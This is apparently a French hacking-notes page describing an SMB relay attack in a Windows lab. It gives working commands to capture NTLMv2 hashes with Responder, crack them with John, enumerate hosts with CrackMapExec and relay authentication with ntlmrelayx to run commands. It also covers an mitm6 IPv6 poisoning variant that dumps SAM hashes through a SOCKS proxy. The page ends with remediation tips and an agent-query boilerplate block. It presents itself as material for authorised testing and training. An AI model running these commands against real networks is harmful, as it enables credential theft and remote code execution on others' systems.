> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# Relais SMB dans les environnements Windows

Le relais SMB capture l’authentification NTLM et la relaie vers un autre hôte lorsque la signature SMB n’est pas requise. Ce flux de travail est destiné à des laboratoires Windows autorisés et à des évaluations internes.

## Conditions à vérifier

* La signature SMB n’est requise sur au moins une cible.
* Le compte capturé dispose d’un accès utile sur une cible de relais.
* Les serveurs SMB et HTTP de Responder sont désactivés lorsque `ntlmrelayx` gère le relais.
* Les cibles de relais sont répertoriées dans `targets.txt`.

## Capturer NTLMv2 avec Responder

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="/files/aadc9544b82a6bcf523a7e1df73c6304324e26b3" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

Les réseaux Windows génèrent souvent une authentification automatique via l’inventaire des logiciels, les tâches d’administration, l’accès aux partages et la résolution de noms.

<figure><img src="/files/72c738564c855d96aa956b34d04d8b407ea02708" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="/files/7420288f7a95506605fd6e0773cfe59e0eb08587" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## Craquage hors ligne

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="/files/66bd9ef355d6dfc2e1ca8ca3e0686c72b12fc02e" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="/files/d1a2a78644094504e39be7ccd546c981ef7c476c" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## Énumération SMB

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="/files/856c2b73ff994d0e2fe54ba47a6de1092f82dba1" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="/files/53886ae6c9d38f2cbc13404e3360f27b9f447c89" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

Validez les droits du compte :

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="/files/a68d52076866b4247ec8d270f4abc6e65238f9a7" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## Relais avec ntlmrelayx

Désactivez SMB et HTTP dans `Responder.conf`, puis exécutez Responder :

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

Démarrez le relais :

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="/files/e2224d987d84acc3760452d7d5f856b0eb6b270a" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="/files/1339e8bac15ad3c27d39f14f83f36c479217f8d6" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## Validation de l’exécution de commandes via relais

Lorsque l’exécution de commandes est dans le périmètre, validez d’abord le relais avec une commande à faible impact :

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

Pour une preuve plus claire, écrivez le contexte d’exécution dans un fichier temporaire sur la cible du relais :

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="/files/d6e0bfff6267858ba96f7c14b901cf3e2945d731" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="/files/3e5a1e5fff28346ca7d752b38830fe26875ddabc" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## Variante IPv6 avec mitm6

```bash
mitm6 -d j0rdan.local
```

<figure><img src="/files/09f2969ef079f6ab7f2beebc59355241763ffe1d" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="/files/62ec5dc2b63b18921cb2e6b18342a39e2f3ab4af" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

Relais IPv6 :

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="/files/89483af07ac85a7f7f70bf43fc62446c689cd93e" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

Utilisez le relais via le proxy :

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## Points clés

* Le relais SMB dépend principalement du fait que la signature SMB ne soit pas requise.
* Responder et `ntlmrelayx` doivent être configurés de sorte à ne pas entrer en concurrence pour le trafic SMB ou HTTP.
* Corrigez en exigeant la signature SMB, en réduisant l’utilisation de NTLM, en surveillant l’abus de LLMNR/NBNS/WPAD et en limitant les droits d’administrateur local.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
